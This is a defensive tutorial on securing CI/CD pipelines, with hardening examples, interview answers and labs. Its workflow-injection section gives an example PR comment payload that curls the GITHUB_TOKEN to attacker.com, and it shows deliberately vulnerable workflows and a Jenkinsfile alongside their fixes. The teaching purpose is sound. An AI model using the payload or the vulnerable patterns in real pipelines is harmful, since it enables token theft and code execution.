Securing CI/CD Pipelines: A Security Engineer’s Guide

CI/CD pipelines are the keys to the kingdom. Compromise a pipeline, compromise production. This guide covers critical security controls that protect modern software delivery.

Quick Reference

CI/CD Attack Surface

Pipeline Threat Model

┌─────────────────────────────────────────────────────────────┐
│                    CI/CD Attack Surface                      │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Source Code         Build           Deploy        Runtime  │
│  ┌─────────┐        ┌─────────┐     ┌─────────┐   ┌──────┐│
│  │ • Repo  │───────>│ • Runner│────>│• Secrets│──>│ Prod ││
│  │ • PR    │        │ • Deps  │     │• Creds  │   │      ││
│  │ • Config│        │ • Cache │     │• Infra  │   │      ││
│  └─────────┘        └─────────┘     └─────────┘   └──────┘│
│       │                  │               │             │    │
│       ▼                  ▼               ▼             ▼    │
│  Attack Vectors:                                            │
│  • Malicious PR     • Dependency    • Credential      • App │
│  • Stolen creds       confusion       exposure        vuln  │
│  • Config inject    • Cache poison  • Overpermission        │
│  • Webhook abuse    • Runner escape • Env injection         │
│                                                             │
└─────────────────────────────────────────────────────────────┘

MITRE ATT&CK for CI/CD

GitHub Actions Security

Workflow Injection Vulnerabilities

Vulnerable Pattern:

# DANGEROUS - Allows arbitrary code execution
name: PR Comment
on:
  issue_comment:
    types: [created]

jobs:
  echo:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "${{ github.event.comment.body }}"

Attack:

Comment on PR:
$(curl http://attacker.com/steal?token=$GITHUB_TOKEN)

Secure Pattern:

name: PR Comment Safe
on:
  issue_comment:
    types: [created]

jobs:
  echo:
    runs-on: ubuntu-latest
    steps:
      - name: Safe echo
        env:
          COMMENT: ${{ github.event.comment.body }}
        run: |
          echo "$COMMENT"  # Now properly escaped

Pull Request Attacks

Vulnerability: Pwn Request

# DANGEROUS - Runs untrusted code with secrets
name: Build PR
on:
  pull_request_target:  # Dangerous trigger
    types: [opened, synchronize]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Checks out attacker's code
      - run: npm test  # Executes attacker's package.json scripts
        env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}  # Exposes secrets!

Secure Pattern:

name: Build PR Safe
on:
  pull_request:  # Safe trigger - no secrets access by default

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test  # Runs without secrets access

Secrets Management

# Best practices for secrets
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production  # Requires approval
    steps:
      - name: Deploy
        env:
          # Use environment secrets, not repo secrets
          API_KEY: ${{ secrets.PROD_API_KEY }}
        run: |
          # Never echo secrets
          # Use masked output
          echo "::add-mask::$API_KEY"
          ./deploy.sh

GitHub Actions Hardening

# Security-hardened workflow
name: Secure Build

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

permissions:
  contents: read  # Minimal permissions

jobs:
  build:
    runs-on: ubuntu-latest
    timeout-minutes: 15  # Prevent runaway jobs

    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false  # Don't keep token

      - name: Pin actions to SHA
        uses: actions/setup-node@8f152de45cc393bb48ce5d89d36b731f54556e65  # v4.0.0

      - name: Install with lockfile
        run: npm ci  # Uses lockfile, fails if modified

      - name: Dependency audit
        run: npm audit --audit-level=high

      - name: SAST scan
        uses: github/codeql-action/analyze@v2

GitLab CI Security

Protected Variables

# .gitlab-ci.yml
variables:
  # Use masked and protected variables
  DEPLOY_TOKEN:
    value: ""
    description: "Production deploy token"

deploy:
  stage: deploy
  environment:
    name: production
  only:
    - main  # Only on protected branch
  script:
    - echo "Deploying..."
  rules:
    - if: $CI_COMMIT_BRANCH == "main"
      when: manual  # Require manual approval

Pipeline Security Controls

# Secure pipeline template
stages:
  - test
  - security
  - build
  - deploy

include:
  - template: Security/SAST.gitlab-ci.yml
  - template: Security/Dependency-Scanning.gitlab-ci.yml
  - template: Security/Secret-Detection.gitlab-ci.yml

security_scan:
  stage: security
  script:
    - trivy image --severity HIGH,CRITICAL $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
  allow_failure: false  # Block pipeline on security issues

Jenkins Security

Securing Jenkinsfiles

Vulnerable:

// DANGEROUS - Arbitrary code execution
pipeline {
    agent any
    parameters {
        string(name: 'CMD', defaultValue: 'ls', description: 'Command to run')
    }
    stages {
        stage('Execute') {
            steps {
                sh "${params.CMD}"  // Injection vulnerability
            }
        }
    }
}

Secure:

pipeline {
    agent any
    parameters {
        choice(name: 'ACTION', choices: ['test', 'build', 'deploy'], description: 'Action')
    }
    stages {
        stage('Execute') {
            steps {
                script {
                    switch(params.ACTION) {
                        case 'test':
                            sh 'npm test'
                            break
                        case 'build':
                            sh 'npm run build'
                            break
                        case 'deploy':
                            // Requires approval
                            input message: 'Deploy to production?'
                            sh 'npm run deploy'
                            break
                    }
                }
            }
        }
    }
}

Jenkins Hardening Checklist

Configuration:
  - [ ] Enable CSRF protection
  - [ ] Disable CLI over remoting
  - [ ] Use HTTPS only
  - [ ] Disable script console for non-admins
  - [ ] Configure agent-to-controller security

Authentication:
  - [ ] Integrate with SSO/LDAP
  - [ ] Enforce MFA for admins
  - [ ] Disable anonymous read access
  - [ ] Review matrix-based security

Credentials:
  - [ ] Use credentials plugin (not plaintext)
  - [ ] Scope credentials to folders/jobs
  - [ ] Rotate credentials regularly
  - [ ] Audit credential usage

Plugins:
  - [ ] Remove unused plugins
  - [ ] Update plugins regularly
  - [ ] Review plugin permissions
  - [ ] Disable plugin installation for users

Secrets Management

Secrets in Pipelines - What NOT to Do

# NEVER do these
env:
  API_KEY: "sk-1234567890"  # Hardcoded secret
  PASSWORD: ${{ secrets.PASS }}  # Logged in debug mode

steps:
  - run: echo $API_KEY  # Printed to logs
  - run: curl -H "Authorization: $SECRET"  # Visible in process list

Proper Secrets Handling

# Using external secrets manager
jobs:
  deploy:
    steps:
      - name: Get secrets from Vault
        uses: hashicorp/vault-action@v2
        with:
          url: https://vault.company.com
          method: jwt
          role: ci-deploy
          secrets: |
            secret/data/prod api_key | API_KEY ;
            secret/data/prod db_pass | DB_PASSWORD

      - name: Deploy
        env:
          API_KEY: ${{ steps.vault.outputs.API_KEY }}
        run: |
          # Secret is masked in logs
          ./deploy.sh

Secrets Rotation Automation

# Automated secret rotation
name: Rotate Secrets
on:
  schedule:
    - cron: '0 0 1 * *'  # Monthly

jobs:
  rotate:
    runs-on: ubuntu-latest
    steps:
      - name: Generate new API key
        id: generate
        run: |
          NEW_KEY=$(openssl rand -hex 32)
          echo "::add-mask::$NEW_KEY"
          echo "key=$NEW_KEY" >> $GITHUB_OUTPUT

      - name: Update in Vault
        env:
          VAULT_TOKEN: ${{ secrets.VAULT_TOKEN }}
        run: |
          vault kv put secret/api-key value="${{ steps.generate.outputs.key }}"

      - name: Update in application
        run: |
          # Trigger config reload in production
          curl -X POST https://app.example.com/reload-config

Supply Chain Security

Dependency Confusion Attacks

Attack Scenario:

1. Company uses internal package: @company/auth-utils
2. Internal package NOT published to npm
3. Attacker publishes auth-utils to public npm
4. CI/CD fetches malicious public package instead of internal

Defense - Scoped Registries:

# .npmrc
@company:registry=https://npm.company.com/
//npm.company.com/:_authToken=${NPM_TOKEN}

# Always specify scope in package.json
{
  "dependencies": {
    "@company/auth-utils": "^1.0.0"
  }
}

Defense - Lockfile Integrity:

steps:
  - name: Install dependencies
    run: |
      # Use lockfile, fail if it would change
      npm ci --ignore-scripts

  - name: Verify integrity
    run: |
      # Check no new packages added
      git diff --exit-code package-lock.json

SBOMs (Software Bill of Materials)

# Generate SBOM during build
name: Build with SBOM

jobs:
  build:
    steps:
      - uses: actions/checkout@v4

      - name: Generate SBOM
        uses: anchore/sbom-action@v0
        with:
          format: spdx-json
          output-file: sbom.spdx.json

      - name: Scan SBOM for vulnerabilities
        uses: anchore/scan-action@v3
        with:
          sbom: sbom.spdx.json
          fail-build: true
          severity-cutoff: high

      - name: Upload SBOM
        uses: actions/upload-artifact@v4
        with:
          name: sbom
          path: sbom.spdx.json

Artifact Signing

# Sign container images with Sigstore/Cosign
name: Sign and Push Image

jobs:
  build:
    permissions:
      id-token: write  # For OIDC signing

    steps:
      - name: Build image
        run: docker build -t myapp:${{ github.sha }} .

      - name: Sign image
        uses: sigstore/cosign-installer@v3

      - name: Sign with keyless signing
        run: |
          cosign sign --yes \
            ${{ env.REGISTRY }}/${{ env.IMAGE }}:${{ github.sha }}

      - name: Verify signature
        run: |
          cosign verify \
            --certificate-identity-regexp=".*@company.com" \
            --certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
            ${{ env.REGISTRY }}/${{ env.IMAGE }}:${{ github.sha }}

Runner Security

Self-Hosted Runner Risks

Risks of Self-Hosted Runners:

1. Persistence: Malware survives between jobs
2. Credential theft: Access stored tokens
3. Network access: Reach internal systems
4. Privilege escalation: Container escapes
5. Data exfiltration: Access previous job artifacts

Ephemeral Runner Pattern

# Use ephemeral runners (fresh VM per job)
name: Secure Build
on: [push]

jobs:
  build:
    runs-on: ubuntu-latest  # GitHub-hosted (ephemeral)

    # Or for self-hosted, use ephemeral option
    # runs-on: [self-hosted, ephemeral]

    container:
      image: node:18-alpine
      options: --read-only --user 1000

    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm test

Runner Isolation

# Kubernetes-based isolated runners
apiVersion: actions.summerwind.dev/v1alpha1
kind: RunnerDeployment
metadata:
  name: secure-runner
spec:
  template:
    spec:
      ephemeral: true  # New pod per job
      dockerdWithinRunnerContainer: true
      securityContext:
        runAsNonRoot: true
        readOnlyRootFilesystem: true
      resources:
        limits:
          cpu: "2"
          memory: "4Gi"

Security Scanning Integration

SAST (Static Analysis)

name: Security Scans

on: [push, pull_request]

jobs:
  sast:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Semgrep SAST
        uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/security-audit
            p/secrets
            p/owasp-top-ten

      - name: CodeQL Analysis
        uses: github/codeql-action/analyze@v2
        with:
          languages: javascript, python

SCA (Software Composition Analysis)

  sca:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Dependency Review
        uses: actions/dependency-review-action@v3
        with:
          fail-on-severity: high
          deny-licenses: GPL-3.0, AGPL-3.0

      - name: Snyk Scan
        uses: snyk/actions/node@master
        with:
          args: --severity-threshold=high

Container Scanning

  container-scan:
    runs-on: ubuntu-latest
    steps:
      - name: Build image
        run: docker build -t myapp:test .

      - name: Trivy scan
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: myapp:test
          format: sarif
          severity: CRITICAL,HIGH
          exit-code: 1

      - name: Upload results
        uses: github/codeql-action/upload-sarif@v2
        with:
          sarif_file: trivy-results.sarif

Secrets Detection

  secrets-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0  # Full history for scanning

      - name: Gitleaks
        uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          GITLEAKS_NOTIFY_USER_LIST: security@company.com

Interview Deep Dive

Q: How would you secure a GitHub Actions workflow that deploys to production?

A: I’d implement defense in depth:

1. Access Controls:

• Protected branch on main - require reviews
• Environment protection rules with approval gates
• CODEOWNERS for workflow files

2. Workflow Security:

permissions:
  contents: read  # Minimal permissions

jobs:
  deploy:
    environment: production  # Requires approval
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false

      # Pin all actions to SHA
      - uses: action/setup@abc123

      # Use OIDC for cloud auth
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123:role/deploy
          aws-region: us-east-1

3. Secrets Management:

• Environment-scoped secrets only
• OIDC federation instead of long-lived credentials
• Automatic rotation

4. Monitoring:

• Alert on workflow changes
• Audit log forwarding
• Failed deployment notifications

Q: Explain a supply chain attack and how to prevent it.

A: Supply chain attacks target the software delivery process:

Attack Example - Dependency Confusion:

1. Attacker identifies internal package name (internal-auth)
2. Publishes malicious internal-auth to public npm
3. During CI build, npm fetches public malicious version
4. Malicious code executes with pipeline credentials
5. Attacker exfiltrates secrets or injects backdoor

Prevention:

# 1. Scoped registries
# .npmrc
@company:registry=https://npm.internal.com/

# 2. Lockfile enforcement
npm ci --ignore-scripts

# 3. Package verification
npm audit --audit-level=high

# 4. SBOM generation and scanning
- uses: anchore/sbom-action@v0
- uses: anchore/scan-action@v3
  with:
    fail-build: true

# 5. Artifact signing
cosign sign --key cosign.key $IMAGE

# 6. Binary authorization
# Only deploy signed, scanned images

Q: What’s the security difference between pull_request and pull_request_target triggers?

A: Critical security distinction:

Risk with pull_request_target: If you checkout PR code (github.event.pull_request.head.sha) with pull_request_target, attacker’s code runs with your secrets.

Safe pattern:

on: pull_request_target
jobs:
  label:
    steps:
      # NEVER checkout untrusted code here
      - name: Add label
        uses: actions/github-script@v6
        with:
          script: |
            github.rest.issues.addLabels({...})

Hands-on Lab Scenarios

Lab 1: Identify Vulnerable Workflow

Review this workflow for vulnerabilities:

name: Build
on:
  issue_comment:
    types: [created]

jobs:
  build:
    if: contains(github.event.comment.body, '/build')
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: echo "Building ${{ github.event.comment.body }}"
      - run: npm install
      - run: npm test
        env:
          API_KEY: ${{ secrets.API_KEY }}

Vulnerabilities:

1. Command injection via ${{ github.event.comment.body }}
2. Secrets exposed on comment-triggered workflow
3. No permission restrictions
4. Actions not pinned to SHA

Lab 2: Fix the Workflow

name: Build
on:
  issue_comment:
    types: [created]

permissions:
  contents: read
  pull-requests: write

jobs:
  build:
    if: github.event.comment.body == '/build'  # Exact match only
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@8f4b7f84864484a7bf31766abe9204da3cbe65b3  # v4.0.0

      - name: Safe log
        env:
          COMMENT: ${{ github.event.comment.body }}
        run: echo "Triggered by comment"  # Don't echo user input

      - run: npm ci
      - run: npm test
        # No secrets for comment-triggered builds

Lab 3: Implement OIDC Authentication

Objective: Replace long-lived AWS credentials with OIDC.

# Old (insecure)
- name: Configure AWS
  uses: aws-actions/configure-aws-credentials@v4
  with:
    aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY }}
    aws-secret-access-key: ${{ secrets.AWS_SECRET_KEY }}

# New (OIDC - no stored credentials)
jobs:
  deploy:
    permissions:
      id-token: write
      contents: read
    steps:
      - name: Configure AWS OIDC
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789:role/github-deploy
          aws-region: us-east-1
          # No credentials stored in GitHub!

AWS IAM Trust Policy:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "Federated": "arn:aws:iam::123456789:oidc-provider/token.actions.githubusercontent.com"
    },
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
      },
      "StringLike": {
        "token.actions.githubusercontent.com:sub": "repo:org/repo:ref:refs/heads/main"
      }
    }
  }]
}

CI/CD Security Checklist

Code Repository

• Branch protection on main/master
• Require code reviews for merges
• CODEOWNERS for workflow files
• Signed commits required
• Secret scanning enabled

Pipeline Configuration

• Minimal permissions declared
• Actions pinned to SHA
• No inline secrets
• Environment protection rules
• Timeout limits set

Secrets Management

• Use external secrets manager
• OIDC for cloud authentication
• Automatic rotation configured
• Scope secrets to environments
• Audit secret access

Dependency Security

• Lockfile committed and enforced
• Private registry for internal packages
• Dependency scanning in CI
• SBOM generated per release
• License compliance checked

Runtime Security

• Ephemeral/isolated runners
• Container scanning before deploy
• Image signing and verification
• Deploy approval gates
• Rollback capability

What’s Next?

• Git Security for Engineers - Repository security fundamentals
• Cloud IAM Attacks - Secure cloud credentials
• Detection Engineering - Monitor pipeline activity

Key Takeaways

1. Treat workflows as code - They deserve the same security review as application code
2. Minimize permissions - Start with none, add only what’s required
3. Pin everything - Actions, dependencies, base images
4. No persistent secrets - Use OIDC, rotate frequently, scope tightly
5. Assume compromise - Use ephemeral runners, defense in depth
6. Scan everything - SAST, SCA, secrets, containers